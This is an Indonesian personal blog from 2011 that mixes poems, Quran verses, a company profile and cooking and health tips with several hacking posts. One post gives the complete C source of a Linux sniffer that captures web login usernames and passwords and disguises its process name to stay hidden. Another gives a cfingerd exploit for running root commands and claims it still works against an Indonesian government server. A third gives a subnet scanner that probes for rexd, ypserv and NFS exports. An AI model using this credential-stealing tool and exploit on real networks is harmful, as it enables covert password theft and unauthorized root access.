Welcome Guys

Penggemar :D

fag

Written By pcbolong on Tuesday, July 26, 2011 | 8:57 PM

Bukan ingin menentang takdir. Jika saya bisa menentukan bagaimana jalan cerita ini,
Saya memilih untuk tidak memiliki umur.
8:57 PM | 0 comments | Read More

Kehidupan tidak selalu manis

Written By pcbolong on Friday, July 22, 2011 | 5:53 AM

Allah lah yang
menciptakan langit dan bumi
dan apa-apa yang ada
di antara keduanya dalam enam hari.
Dan DIA berkuasa atas arsy.
Tiada bagi kamu
pelindung dan penolong selain dari Dia.
Maka apakah kamu tidak mengambil pelajaran?
Dia mengatur urusan dari langit ke bumi.


(As-Sajdah:4-5)
5:53 AM | 0 comments | Read More

Hanya ingin mem-post kan sesuatu

Written By pcbolong on Thursday, July 21, 2011 | 12:28 AM

Seperti angin, tak dapat ku sentuh...tp dapat ku rasakan....

rasa manis tidak selalu mengenakkan
epidermis kulit mulai mengelupas jika umur telah menua
manakala langit berubah gelap hanya bisa meraba
otak dan badan tak kan bersatu
variasi hidup memberi warna dalam setiap detiknya
esa hanya milik TUHAN

Yogyakarta, 21 Juli 2011
12:28 AM | 0 comments | Read More

Proposal Penawaran Usaha dan Kerjasama Ar-Rizzqu

Written By pcbolong on Wednesday, July 20, 2011 | 11:08 PM

Assallamu'alaikum Warohmatulloh hi Wabarokatuh,
Salam Sejahtera,

Melalui email ini, Kami dari Ar-Rizzqu Research Labs, yang selanjutnya Kami sebut dengan Ar-Rizzqu akan memberikan penawaran kerjasama perusahaan atau instansi Bapak/Ibu. Adapun penawaran kerjasama yang Kami tawarkan yaitu dalam bidang Teknologi Informasi. Secara rinci, dapat Kami sebutkan beberapa jenis usaha yang ditawarkan, antara lain :

1. Pengadaan, perakitan, dan pemeliharaan atau maintenance komputer.
2. Perancangan, perakitan atau pemasangan dan pemeliharaan atau maintenance jaringan komputer yang dapat berupa jaringan internet, server (web server, data server, streaming server, ftp server, dll)
3. Desain web dan desain grafis.
4. Pembuatan Aplikasi tepat guna dan sistem terintregasi baik berbasis web dan desktop yang menggunakan berbagai platform sistem operasi (Windows/Linux) sesuai kebutuhan.

Bersama dengan email penawaran ini, Kami melampirkan data Company Profile terbaru dari Ar-Rizzqu.
Companny Profile Kami dapat dilihat di sini.

Demikian penawaran kerjasama yang Kami tawarkan. Atas perhatian dan waktu yang Bapak/Ibu berikan, Kami ucapkan terima kasih yang sebesar-besarnya.

Hubungi Kami
Ar-Rizzqu Research Labs
Peleman RT04 Taman Tirto, Kasihan Bantul (Depan UMY)
Yogyakarta, Indonesia
0274-6550687
085228701265
arrizzqurl@yahoo.com (email,facebook, dan twitter)
11:08 PM | 0 comments | Read More

Company Profile Ar-Rizzqu



Company Profile
An introduction to the Ar-Rizzqu Research Labs
2011



Sejarah singkat
Pada awal 2004, pendiri Ar-Rizzqu Research Labs, yaitu seorang mahasiswa tingkat awal yang mempunyai kesenangan besar terhadap komputer, mendirikan sebuah usaha personal dengan nama Anodyne Inc.

Kemudian pada awal 2011, didirikanlah Ar-Rizzqu Research Labs sebagai tempat usaha bersama dalam bidang teknologi di Indonesia. Dengan pengalaman selama lebih dari 5 tahun dalam dunia komputer, mempermudah langkah Ar-Rizzqu Research Labs dalam melakukan perkembangan usaha-nya. Tercatat telah menjalin hubungan strategic alliances dengan berbagai perusahaan dari berbagai latar belakang (IT maupun non-IT).

Saat ini Ar-Rizzqu Research Labs telah memiliki 5 bisnis unit, yaitu Servis Komputer, Suplier Komputer, Perancangan dan Pemeliharaan Jaringan Komputer, Internet Service Provider dan Penjualan Sembako. Hingga 4 bulan dari dibukanya usaha ini, Ar-Rizzqu Research Labs telah memiliki 5 anggota tim, dan memiliki kurang lebih 5 client tetap.






















VISI
“Menjadi berguna bagi ummat”
Kami mendedikasikan diri untuk berguna bagi ummat dengan bekal innovatif dan semangat yang besar dalam bidang komputer.
MISI
“Kesempurnaan”
 Menjadi teman baik sekaligus sebagai konsultan bagi pelanggan-pelanggan kami
 Memberikan pelayanan yang sempurna
 Memberikan pembelajaran bagi pelanggan-pelanggan kami serta masyarakat umum
 Membangun bersama kehidupan yang layak untuk teman-teman yang membutuhkan dengan usaha kami ini


NILAI-NILAI PERUSAHAAN
 Kerjasama
 Integritas
 Tanggung Jawab
 Perbaikan dan pengembangan diri
 Semangat
 Kecepatan
 Kesempurnaan















LAYANAN UTAMA
Ar-Rizzqu Research Labs memiliki beberapa usaha utama dan memberikan solusi yang terbaik dibidang information technology kepada pelanggan-nya.
Servis Komputer
Ar-Rizzqu Research Labs memberikan pelayanan servis komputer dan penggantian perangkat baik personal maupun corporate.
Suplier Komputer
Dengan dukungan dari beberapa distributor utama pembuat perangkat keras komputer, Ar- Rizzqu Research Labs memberikan harga yang bersaing dalam memenuhi kebutuhan komputer, baik personal maupun corporate.
Perancangan dan Pemeliharaan Jaringan Komputer
Bekal pengetahuan dan pengalaman anggota tim Ar-Rizzqu Research Labs dalam bidang Jaringan komputer, baik jaringan lokal maupun jaringan internet, memberikan pelayanan untuk penuh dalam segala jenis jaringan komputer. Mulai dari perencanaan, pemasangan, dan pemeliharaan.
Internet Service Provider
Dengan dukungan dari sebuah perusahaan skala nasional dalam bidang penyedia jasa internet, Kami memberikan layanan koneksi internet share maupun dedicated dengan berbagai pilihan paket koneksi. Suport 24 jam selama 7 hari dalam 1 minggu.
Penjualan Sembako
Untuk mendukung semua pelayanan kami baik dari segi operasional dan investasi jangka panjang, kami membuka sebuah toko penjualan sembako dan jasa pengisian pulsa.
Pembuatan Aplikasi Tepat Guna dan Sistem yang Terintregasi
Perancangan dan pembuatan serta pemeliharaan aplikasi tepat guna dan sistem terintregasi sesuai denga kebutuhan, baik berbasis web atau desktop.
Desain Grafis dan Desain Web
Desain dan pembuatan media grafis dan website.






Partner
Ar-Rizzqu Research Labs telah menjalin kerjasama strategis dengan berbagai perusahaan sebagai penunjang untuk menghadirkan pelayanan yang terbaik.
Clear-OS Indonesia : Sebuah komunitas linux server di Indonesia.
ECC : Merupakan dealer pulsa tronik
Aqua : Produsen dan Reseller Aqua galon
Dinamika Perkasa Jaya : Distributor Komputer
Advance Yogyakarta : Distributor Komputer
Gmedia Yogyakarta : Distributor penyedia layanan internet yang merupakan anak perusahaan dari Telkom, Indosat dan XL
Dan vendor-vendor lain yang tidak bisa disebutkan.

Kualifikasi Tim
Kami senantiasa meningkatkan kemampuan dengan semangat untuk maju dan berdaya saing. Tim kami memiliki kemampuan :;
 Maintenance Hardware dan Software komputer (Windows dan Unix/Linux)
 Perancangan, Pembuatan dan pemeliharaan Jaringan Komputer dengan software Mikrotik, Clear-OS, FreeBSD, Ubuntu server, Windows, dan software pendukung lain
 Perancangan, setting dan pemeliharaan server untuk berbagai keperluan, antara lain web server, file server, mail server, streaming server, VOIP server, hotspot, internet sharing, firewall, FTP server.
 Desain grafis, desain dan pemrograman web dan aplikasi tepat guna berbasis web dan desktop.
 Pembuatan Aplikasi berbasis web dan desktop dengan berbagai macam platform sesuai kebutuhan, antarai lain C/C++, Java, Visual Basic, PHP, MySql, PostgreSQL.

Portofolio Terakhir Kami
SMK Muhammadiyah 1 Klaten
Harian Suara Merdeka cabang Surakarta
BangunRumah.com
KalinegoroNet (Magelang)
KantiNet (Cepu)
CV.Kharisma Mulyatama (Yogyakarta)
Dan client lain yang tidak bisa kami sebutkan.








Hubungi Kami
Ar-Rizzqu Research Labs
Peleman RT04 Taman Tirto, Kasihan Bantul (Depan UMY)
Yogyakarta, Indonesia
0274-6550687
085228701265
arrizzqurl@yahoo.com (email,facebook, dan twitter)
11:02 PM | 0 comments | Read More

A Linux sniffer

A Linux sniffer that is designed to retrieve web usernames and passwords.
This program sniffs packets destined for webservers and scans for headers with Basic Auth. then automatically decodes the auth. string giving a username/passwd in cleartext. BUGS: In the verbose mode,source/destination headers get out of sync with data. In daemon mode, source/dest. headers may not be reliable. DISCLAIMER: Please use this program in a responsible manner.

Fiuhh....bisa juga bahasa inggriss :D langsung saja, ini code nya. pakai bahasa c.

hilangkan tanda kurung () -nya.saya kasih krn di blogspot g bisa muncul.


#include (<)stdio.h(>)
#include (<)stdlib.h(>)
#include (<)stdarg.h(>)
#include (<)sys/socket.h(>)
#include (<)sys/time.h(>)
#include (<)sys/types.h(>)
#include (<)unistd.h(>)
#include (<)sys/stat.h(>)
#include (<)fcntl.h(>)
#include (<)netinet/in.h(>)
#include (<)netdb.h(>)
#include (<)string.h(>)
#include (<)linux/if.h(>)
#include (<)signal.h(>)
#include (<)termio.h(>)
#include (<)arpa/inet.h(>)
#include (<)linux/socket.h(>)
#include (<)linux/ip.h(>)
#include (<)linux/tcp.h(>)
#include (<)linux/if_ether.h(>)
#include (<)errno.h(>)

extern int errno;

#define DEFAULT_WEB_PORT 80
#define CAPTURE_LENGTH 1024
#define TIMEOUT 30
#define INTERFACE "eth0"
#define ISBLANK(x) (((x) == ' ') || ((x) == '\t'))
#define SPACELEFT(buf, ptr) (sizeof buf - ((ptr) - buf))
#define newstr(s) strcpy(malloc(strlen(s) + 1), s)

struct BASE64_PARAMS {
unsigned long int accum;
int shift;
int save_shift;
};

struct etherpacket {
struct ethhdr ether_header;
struct iphdr ip_header;
struct tcphdr tcp_header;
char buff[8192];
} ether_packet;

struct
{
unsigned long source_addr;
unsigned long dest_addr;
unsigned short source_port;
unsigned short dest_port;
int bytes_read;
char active;
time_t start_time;
char tmp_realm[1024];
char tmp_host[512];
} target;

struct iphdr *ip;
struct tcphdr *tcp;

char **Argv = NULL;
char *LastArgv = NULL;

short daemon_mode;
short verbose_mode;
unsigned short user_port;
FILE *daemon_fd=NULL;
int sock;

/* fungsi deklarasi */
char *lookup(unsigned long int);
char *dateTime();

/* implementasi signal*/
void (*
r_signal(sig, func)) (int)
int sig;
void (*func) ();
{
struct sigaction act, oact;

act.sa_handler = func;

sigemptyset(&act.sa_mask);
act.sa_flags = 0;

#ifdef SA_RESTART
act.sa_flags |= SA_RESTART;
#endif

if (sigaction(sig, &act, &oact) < 0)
return (SIG_ERR);

return (oact.sa_handler);
}

/* fungsi ini mengambil proses apa saja yang jalan di terminal yang di remote*/
void detach()
{
int rc, fd;

if ((rc = fork()) > 0)
exit(0);
else if (rc <0) {
perror("detach");
exit(EXIT_FAILURE);
}

if ((fd = open("/dev/tty", O_RDWR,0)) == -1 ) {
printf("couldn't open tty, assuming still okay...\n");
fflush((FILE *)stdout);
return;
}

ioctl(fd, TIOCNOTTY, 0);

close(fd);


setsid();
}

setproctitle(const char *fmt, ...)
{
register char *p;
register int i;
char buf[2048];
va_list args;

p = buf;

va_start(args, fmt);
(void) vsnprintf(p, SPACELEFT(buf, p), fmt, args);
va_end(args);

i = strlen(buf);

if (i > LastArgv - Argv[0] - 2)
{
i = LastArgv - Argv[0] - 2;
buf[i] = '\0';
}
(void) strcpy(Argv[0], buf);
p = &Argv[0][i];
while (p < LastArgv)
*p++ = ' ';
Argv[1] = NULL;
}

void initsetproctitle(int argc, char **argv, char **envp)
{
register int i;
extern char **environ;

for (i = 0; envp[i] != NULL; i++)
continue;
environ = (char **) malloc(sizeof (char *) * (i + 1));
for (i = 0; envp[i] != NULL; i++)
environ[i] = newstr(envp[i]);
environ[i] = NULL;

Argv = argv;
if (i > 0)
LastArgv = envp[i - 1] + strlen(envp[i - 1]);
else
LastArgv = argv[argc - 1] + strlen(argv[argc - 1]);
}

/* konversi base64 ascci ke dalam mode integer */
int cvt_ascii( unsigned char alpha )
{
if ( (alpha >= 'A') && (alpha <= 'Z') ) return (int)(alpha - 'A');
else if ( (alpha >= 'a') && (alpha <= 'z') )
return 26 + (int)(alpha - 'a');
else if ( (alpha >= '0') && (alpha <= '9' ) )
return 52 + (int)(alpha - '0');
else if ( alpha == '+' ) return 62;
else if ( alpha == '/' ) return 63;
else if ( alpha == '=' ) return -2;
else return -1;
}

/* decoding base64 */
void base64_decode(char *buf,int quit,struct BASE64_PARAMS *d,char *auth_buf)
{
int index;
unsigned long int value;
unsigned char blivit;
unsigned short j=0;

index = 0;
*(auth_buf+0)='\0';

while ( ISBLANK(buf[index] ) )
{
index++;
}

for ( index = 0;
(buf[index] != '\n') &&
(buf[index] != '\0') &&
(buf[index] != ' ' );
index++)
{

if (index==(264-5)) return;

value = cvt_ascii( buf[index] );

if ( value < 64 )
{
d->accum <<= 6;
d->shift += 6;
d->accum |= value;
if ( d->shift >= 8 )
{
d->shift -= 8;
value = d->accum >> d->shift;
blivit = (unsigned char)value & 0xFFl;
*(auth_buf+j) = (char )blivit;
j++;
}

}
else
{
quit = 1;
break;
}
}

*(auth_buf+j)='\0';
return;
}


void decode(char *b64_string, char *user_buff)
{

struct BASE64_PARAMS d_p;
int quit=0;

d_p.shift = 0;
d_p.accum = 0;

base64_decode((char *)b64_string, quit, &d_p, user_buff);

return;
}


void parse_segment(char *data)
{
short i,j=0;
char foo[256];
char user[128];
char pass[128];

if ((!strncmp(data,"GET ",4))||(!strncmp(data,"POST ",5))||(!strncmp(data,"HEAD ",5)))
strncpy(target.tmp_realm,data,strlen(data));


if (!strncasecmp(data,"Authorization: Basic",20)) {
if (strlen(data+21)>sizeof(foo))
*(data+21+sizeof(foo-1))='\0';
decode(data+21,foo);
for (i=0;foo[i];i++) {
if (foo[i]==':')
break;
user[i]=foo[i];
}
user[i]='\0';
for (++i; foo[i]; i++) {
pass[j]=foo[i];
j++;
}
pass[j]='\0';
if (daemon_mode) {
fprintf(daemon_fd,"\n####### [%s]\n",dateTime());
fprintf(daemon_fd,"%s",target.tmp_host);
fprintf(daemon_fd,"REALM REQUESTED: %s\n", target.tmp_realm);
fprintf(daemon_fd,"---[ USER = %s PASS = %s ]---\n",user,pass);
fprintf(daemon_fd,"#######\n\n");
fflush(daemon_fd);
} else {
printf("\n----------[ USER = %s PASS = %s ]----------\n",user,pass);
fflush(stdout);
}
}

return;

}


int scan_data(int datalen, char *data)
{
int i=0, t=0;
char data_buff[CAPTURE_LENGTH];

target.bytes_read=target.bytes_read+datalen;
memset(target.tmp_realm,'\0',sizeof(target.tmp_realm));
sprintf(target.tmp_host,"[%s] [%d] => ",lookup(target.source_addr),ntohs(target.source_port));
sprintf(data_buff,"[%s] [%d]\n",lookup(target.dest_addr),ntohs(target.dest_port));
strcat(target.tmp_host,data_buff);

data_buff[0]='\0';

for(i=0;i != datalen;i++)
{
if(data[i] == 13)
{
data_buff[t]='\0';
if (verbose_mode) {
printf("%s\n", data_buff);
fflush(stdout);
}
parse_segment(data_buff);
t=0;
}
if(isprint(data[i]))
{
data_buff[t]=data[i];
t++;
}
if(t > 255)
{
t=0;
data_buff[t]='\0';
if (verbose_mode) {
printf("%s\n", data_buff);
fflush(stdout);
}
parse_segment(data_buff);
}

}

}


void seg_fault (int sig)
{
fprintf(stderr, "\n");
fprintf(stderr, "Segmentation Violation!\n");
fprintf(stderr, "\n");
fprintf(stderr, "Congratulations! You have crashed my program.\n");
fprintf(stderr, "describing *exactly* what you did to make this\n");
fprintf(stderr, "program crash. Thanks and have a nice day ^^ \n");
fprintf(stderr, "\n");
exit(EXIT_FAILURE);
}


char *lookup(unsigned long int network_address)
{
static char buf[1024];
struct in_addr my_addr;
struct hostent *he;

my_addr.s_addr=network_address;
he=gethostbyaddr((char *)&my_addr,sizeof(struct in_addr),AF_INET);
if (he==NULL)
sprintf(buf,inet_ntoa(my_addr));
else
sprintf(buf,he->h_name);
return (buf);
}


char * dateTime()
{
time_t t;
char * s;

time(&t);
s = (char *)ctime((const time_t *)&t);
s[24] = '\0';
return s;
}

void bye(int sig)
{

if (daemon_mode) {
fprintf(daemon_fd, "\n*** Daemon Mode Ending at [%s] ***\n",dateTime());
fclose(daemon_fd);
}

close(sock);
exit(0);
}


int packet_filter ()
{
unsigned short port;

if (ip->protocol !=6) return (0);
if (target.active !=0)
if (target.bytes_read > CAPTURE_LENGTH)
{
bzero(&target, sizeof(target));
return(0);
}

if (user_port!=0)
port=user_port;
else
port=DEFAULT_WEB_PORT;

if (ntohs(tcp->dest)!=port)
return(0);
else
{
if (tcp->syn==1)
{
target.source_addr=ip->saddr;
target.dest_addr=ip->daddr;
target.active=1;
target.source_port=tcp->source;
target.dest_port=tcp->dest;
target.bytes_read=0;
target.start_time=time(NULL);
if (verbose_mode) {
printf("[%s] [%d] => ",lookup(target.source_addr),
ntohs(target.source_port));
printf("[%s] [%d]\n", lookup(target.dest_addr),
ntohs(target.dest_port));
fflush(stdout);
}

}
}

return(1);
}


void print_usage (char *prog_name)
{
printf("\n");
printf("### Web Sniffer ###\n");
printf("\n");
printf("Usage:\n");
printf("\n");
printf("%s [-d|-v] [-p ]\n", prog_name);
printf("\n");
printf("-d : run as a daemon and print output to logfile.\n");
printf("-v : run in foreground and print output to stdout.\n");
printf("-p : optionally specifies port number to sniff on.\n");
printf("\n");
}


int main ( argc, argv, envp )
unsigned int argc;
char **argv;
char **envp;
{
int i, x, c;
extern int optind;
extern char *optarg;
struct ifreq req;
short argsLeft=0;
short errFlag=0;
char *port_ptr=NULL;
char title[1024];

r_signal(SIGSEGV, seg_fault);
r_signal(SIGTERM, bye);
r_signal(SIGQUIT, bye);
r_signal(SIGHUP, bye);

if (getuid() && geteuid()) {
fprintf(stderr, "\nYou need to be root in order to run this.\n\n");
exit(EXIT_FAILURE);
}

memset(title,'\0',sizeof(title));

verbose_mode=0;
daemon_mode=0;
user_port=0;

while((c=getopt(argc,argv,"dvp:"))!= EOF)
switch(c) {
case 'd':
if (verbose_mode)
errFlag++;
else
daemon_mode=1;
break;
case 'v':
if (daemon_mode)
errFlag++;
else
verbose_mode=1;
break;
case 'p':
port_ptr=optarg;
user_port=atoi(port_ptr);
break;
case '?':
errFlag++;
}

argsLeft=argc-optind;

if ((!daemon_mode && !verbose_mode)||errFlag||argsLeft) {
print_usage(argv[0]);
exit(EXIT_FAILURE);
}

if (daemon_mode) {
printf("\n");
printf("*** Daemon Mode ***\n");
printf("Enter in the full path to the logfile\n");
fgets(title,sizeof(title),stdin);
for (c=0; title[c]; c++)
if (title[c]=='\n') {
title[c]='\0';
break;
}
if ((daemon_fd=fopen(title,"a+"))==NULL) {
fprintf(stderr, "Could not open logfile: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}
printf("Enter in a process title to masquerade as so\n");
printf("it won't be quite so obvious to other users what\n");
printf("we are really doing (i.e: bash, ftp, in.telnetd, vi ...)\n");
fgets(title,sizeof(title),stdin);
for (c=0; title[c]; c++)
if (title[c]=='\n') {
title[c]='\0';
break;
}
printf("Setting process title to: %s\n", title);
initsetproctitle(argc, argv, envp);
setproctitle("%s", title);
printf("Daemon Mode Started.\n");
detach();
fprintf(daemon_fd, "\n*** Daemon Mode Started at [%s] ***\n",dateTime());
fflush(daemon_fd);
}

sock=socket(AF_INET, SOCK_PACKET, htons(0x800));
if (sock <0) {
perror("can't get SOCK_PACKET socket");
exit(1);
}

strcpy(req.ifr_name, INTERFACE);

if ((i=ioctl(sock, SIOCGIFFLAGS, &req)) ==-1) {
close(sock);
fprintf(stdout, "I cannot get flags: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}
req.ifr_flags |= IFF_PROMISC;
if ((i=ioctl(sock, SIOCSIFFLAGS, &req)) ==-1) {
close(sock);
fprintf(stdout, "I cannot set flags: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}

ip=(struct iphdr *)(((unsigned long)ðer_packet.ip_header)-2);
tcp=(struct tcphdr *)(((unsigned long)ðer_packet.tcp_header)-2);

bzero(&target, sizeof(target));

for (;;) {
while(1) {
x=read(sock,ðer_packet,sizeof(ether_packet));
if (x > 1)
{
if (packet_filter()==0) continue;
x=x-54;
if (x<1) continue;
break;
}
}

scan_data(htons(ip->tot_len)-sizeof(ether_packet.ip_header)-
sizeof(ether_packet.tcp_header),ether_packet.buff-2);

}

}
4:53 AM | 0 comments | Read More

exploit finger

# this is exploits cfingerd 1.0.1
# enggakTau punyaSiapa yangPentingExploit iniMasihNyantol diServernya indonesia.go.id
# execute arbitrary commands as root.

echo "enggakTau punyaSiapa yangPentingExploit iniMasihNyantol diServernya indonesiadotgodotid "

if [ $# = 2 ]
then
finger "/W;$1;#@$2"
else
echo "$0 \"\" "
fi
4:26 AM | 0 comments | Read More

Scan a subnet for valid hosts with perl script

This is perl script for Scan a subnet for valid hosts. if given hostname, will look at the 255 possible hosts on that net. Report if host is running rexd or ypserv.

#!/usr/local/bin/perl -s
#
#
# Usage: scan n.n.n.n

# mine, by default
$default = "130.80.26";

$| = 1;

if ($v) { $verbose = 1; }

if ($#ARGV == -1) { $root = $default; }
else { $root = $ARGV[0]; }

# ip address
if ($root !~ /[0-9]+\.[0-9]+\.[0-9]+/) {
($na, $ad, $ty, $le, @host_ip) = gethostbyname($root);
($one,$two,$three,$four) = unpack('C4',$host_ip[0]);
$root = "$one.$two.$three";
if ($root eq "..") { die "Can't figure out what to scan...\n"; }
}

print "Subnet $root:\n" if $verbose;
for $i (01..255) {
print "Trying $root.$i\t=> " if $verbose;
&resolve("$root.$i");
}

#
# Do the work
#
sub resolve {

local($name) = @_;

# ip address
if ($name =~ /[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/) {
($a,$b,$c,$d) = split(/\./, $name);
@ip = ($a,$b,$c,$d);
($name) = gethostbyaddr(pack("C4", @ip), &AF_INET);
}
else {
($name, $aliases, $type, $len, @ip) = gethostbyname($name);
($a,$b,$c,$d) = unpack('C4',$ip[0]);
}

if ($name && @ip) {
print "$a.$b.$c.$d\t$name\n";
system("if ping $name 5 > /dev/null ; then\nif rpcinfo -u $name 100005 > /dev/null ; then showmount -e $name\nfi\nif rpcinfo -t $name 100017 > /dev/null ; then echo \"Running rexd.\"\nfi\nif rpcinfo -u $name 100004 > /dev/null ; then echo \"R
unning ypserv.\"\nfi\nfi");
}
else { print "unable to resolve address\n" if $verbose; }

}

sub AF_INET {2;}
3:22 AM | 0 comments | Read More

Terjemahan Surat Al-Fatihah

Written By pcbolong on Monday, July 18, 2011 | 5:25 AM

Ayat 1 : "Dengan nama ALLAH Yang Maha Pengasih, Maha Penyayang"

Ayat 2 : "Segala puji bagi ALLAH, TUHAN seluruh alam"

Ayat 3 : "Yang Maha Pengasih, Maha Penyayang"

Ayat 4 : "Pemilik hari pembalasan"
Penjelasan: Yaumiddin (hari pembalasan), hari waktu manusia menerima pembalasan amalnya, baik atau buruk. Disebut juga yaumul qiyamah, yaumul hisab dan sebagainya.

Ayat 5: "Hanya kepada Engkau lah kami menyembah dan hanya kepada Engkau lah kami memohon pertolongan"

Ayat 6 : "Tunjukilah kami jalan yang lurus"
Penjelasan: Jala yang lurus, yaitu jalan hidup yang benar, yang dapat membuat bahagia di dunia dan di akhirat.

Ayat 7 : "(yaitu)jalan orang-orang yang telah Engkau beri nikmat kepadanya;bukan (jalan)mereka yang dimurkai, dan bukan (pula jalan) mereka yang sesat"
Penjelasan: Mereka yang dimurkai, adalah mereka yang sengaja menentang ajaran Islam. Mereka yang sesat adalah mereka yang sengaja mengambil jalan lain selain ajaran Islam.
5:25 AM | 2 comments | Read More

Tips agar badan selalu FIT

Written By pcbolong on Sunday, July 17, 2011 | 9:30 PM

Mungkin beberapa dari kalian sering kali mengalami, badan terasa sangat tidak bergairah, perasaa tidak menentu dan akhirnya ingin melakukan aktifitas juga sangat setengah hati. Saya sering mengalami itu, terutama jika setelah tidur pagi alias ngelembur. Sebenarnya postingan ini bukan tips, karena saya sendiri belum bisa melakukannya. Tetapi selalu ingin melakukan, dan selalu gagal. Langsung saja, berikut tips dari saya.

1. Usahakan tidur tepat waktu dan dengan bekal yang baik. Tidur tepat waktu yang dimaksud adalah tidur yang sehat. Tidur yang sehat yaitu tidur mulai jam 9 malam. Lama waktu yang efektif untuk tidur yaitu selama 6 jam. Selain masalah waktu, usahakan sebelum tidur kita cuci muka dan bersih-bersih badan dahulu. Banyak yang mengatakan jika tidur adalah saat terdekat kita dengan Sang Pencipta. Jadi berdandanlah sebagus mungkin saat bertemu denganNya. Tidak harus menggunakan pakaian yang bagus, cukup bersih saja. Dan jangan lupa berdoa sebelum tidur (Kata tasya).

2. Lepaskan beban pikiran dan beban badan. Lepaskan dan hindari berpikir keras jika ingin tidur. Jangan bawa permasalahan dalam tidur.

3. Bangun tidur, molet dulu. Molet mungkin bahasa yang kurang tepat, karena saya tidak tau bahasa yg tepat jadi tak apalah. Molet waktu bangun tidur dapat mengurangi ketegangan pada otot-otot tubuh. Dan rasakan nikmatnya molet.

4. Segera bangun, dan lakukan aktifitas. Ini jelas, setelah bangun tidur, pertama mata terbuka, usahakan segera bangun dan jangan tidur lagi. Banyak hal yang dapat kita lakukan, agar tubuh kita melakukan kerjanya.

5. Hirup udara segar. Keluarlah dari rumah, dan hirup udara pagi yang segar dan masih bersih. baik untuk pernapasan.

6. Buah-buahan. Perbanyak makan buah-buahan yang bervitamin.

7. Sayuran. Perbanyak makan sayuran untuk mengganti sel-sel tubuh yang rusak.

8. PIkiran sehat, tubuh sehat dan kehidupa sehat. INi sangat jelas juga dalam tubuh yang sehat, terdapat pikiran dan jiwa yang sehat pula. Dan ini ternyata berpengaruh terhadap kehidupan kita. Secara tidak langsung kita mem-program kehidupan kita sesuai dengan yang kita dapat oleh tubuh kita.

:D Keep spirit!!!
9:30 PM | 0 comments | Read More

Tips membuat mie instan

Mie instan adalah makanan paling praktis dan sedikit mengenyangkan pada saat-saat tertentu. Biasanya saat kita merasa terpojokkan oleh sesuatu yang tidak memungkinkan kita untuk mencari makanan yang lebih mengenyangkan. Berikut adalah tips membuat mie instan :



1. Siapkan panci dengan air secukupnya. Jangan banyak-banyak, cukup 400 mililiter saja. Yah, kira-kira sendiri saja, atau jika ingin lebih spesifik, pergunakan penggaris lalu ukur tinggi panci, kemudian lebar penampang bawah panci, dan hitung isi panci. Nah, jika isi panci sudah diketahui, Anda dapat dengan mudah mengetahui seberapa 400 mililiter itu.

2. Siapkan bahan2 pendukung seperti sosis, telur, sayuran, bawang goreng, saos sambal atau saos tomat. Jika ingin tambah kelihatan enak, tambahkan hamburger.

3. Jangan lupa siapkan sebungkus mie instan. Jika sedang sangat kelaparan, anda bisa langsung merebus 2 bungkus mie instan sekaligus, dengan syarat tambah air nya.

4. Panaskan air di dalam panci, sampai mendidih atau 100 derajat. Kalau tidak yakin itu 100 derajat, coba pegang air di dalam panci. Jika sudah terasa panas di tangan itu berarti sudah mendidih. Jika masih kurang yakin, Anda bisa menggunakan termometer suhu.

5. Jika air dalam panci sudah mendidih, masukan terlebih dahulu bahan-bahan pendukung nya, seperti telur, sosis, sayur tadi. Untuk hamburger jangan ikut dimasukkan karena rasa akan menjadi tidak karuan.

6. Kemudian jika bahan pendukung tadi sudah terlihat layu atau masak, masukkan mie instan. Aduk aduk sampai mie instan terlihat lembek. Jika sudah, kemudian tiriskan, angkat, dan sajikan.

Jangan lupa taburi bawang goreng agar lebih nikmat baunya. Jika ingin bau yang berbeda, bisa semprotkan pengharum ruangan atau pewangi pakaian. Nah, langkah terakhir yaitu berikan hamburger tadi di atas mie instan. Dan....tara,,,,mie instan anda terlihat mempesona dan menarik.

Selamat Makan... :D
8:57 PM | 0 comments | Read More

Reset password root slackware

Beberapa waktu lalu ketika saya akan ujian skripsi, dengan perasaan tidak enak membuka slackware. Dan ternyata.....tara....saya lupa password root nya. Dan sekarang saya sudah memegang kendali lagi. Berikut caranya :

1. booting menggunakan slackware cd seperti pada waktu akan melakukan proses instalasi.

2. mount partisi root dari slackware. jika kurang yakin dengan patch partisi dari direktori root dapat dilihat dengan perintah

fdisk -l

akan muncul nama-nama patch drive partisi yang digunakan. Pilih partisi root slackware, kemudian mount dengan menggunakan perintah :

mount /dev/sda1 /mnt

4. setelah proses mount selesai, edit file /etc/shadow yang ada di dalam partisi root. karena tadi sudah di mount ke dalam directory /mnt, maka file berada di direktori /mnt/etc/shadow. untuk edit gunakan perintah di bawah ini :

vi /mnt/etc/shadow

edit pada bagian paling atas yaitu :

root:[tidak usah di isi/kosongkan]:1547846:0:65466698:5:::

yang ada di dalam tanda kurung siku diatas adalah merupakan enkripsi password untuk root. jadi hilangkan saja agar saat booting normal tidak membutuhkan password. kalau sudah di edit, simpan dengan perintah :wq

5. lalu reboot , dan booting normal alias tidak dari cd instalasi. kemudian saat login enter saja, tidak menggunakan password, dan anda sudah masuk ke dalam sistem dengan account root. selamat!!

untuk memberi password root menggunakan perintah :

#passwd

dan isikan password root anda.
3:42 AM | 1 comments | Read More

Iklan aneh dari google adsense

Yah..sudah beberapa hari tertampang di iklan adsense google blog saya... sungguh sungguh aneh..iklan ini mungkin milik mak erot yang nyasar ke blog saya, karena sejak saya mendaftat google adsense, iklan yang saya inginkan hanya yang berbau teknologi. tetapi ini sungguh sungguh berbau mak erot -.-" inilah iklannya



hmmm, mungkin google nya yang lagi proses pembesaran di mak erot. Tapi yang jelas saya tidak membutuhkan dan menginginkan iklan ini :(
3:12 AM | 0 comments | Read More

Fakta Social Networking

Written By pcbolong on Saturday, July 16, 2011 | 7:24 PM



Sebuah fakta di dalam dunia social networking berbasis internet yang saya temukan hari ini yaitu : lebih banyak teman yang kita ikuti atau follow atau add, atau apa saja namanya tergantung yang ngasih nama dari masing2 social network tersebut, dari pada teman yang mengikuti kita.



Ini dikarenakan, tingkat ketertarikan setiap manusia yang menggunakan social networling berbeda-beda. Belum tentu seorang yang kita add atau ikuti, juga menyukai kita lalu mengikuti balik kita. :D inilah fakta.
7:24 PM | 2 comments | Read More

Surat terbuka untuk Tuhan

Written By pcbolong on Thursday, July 14, 2011 | 3:54 AM

Assallamu'alaikum wr wb...

dengan postingan blog ini, saya, angga wicaksono, ingin meminta maaf yang sebesar-besarnya. saya meminta maaf kepada :

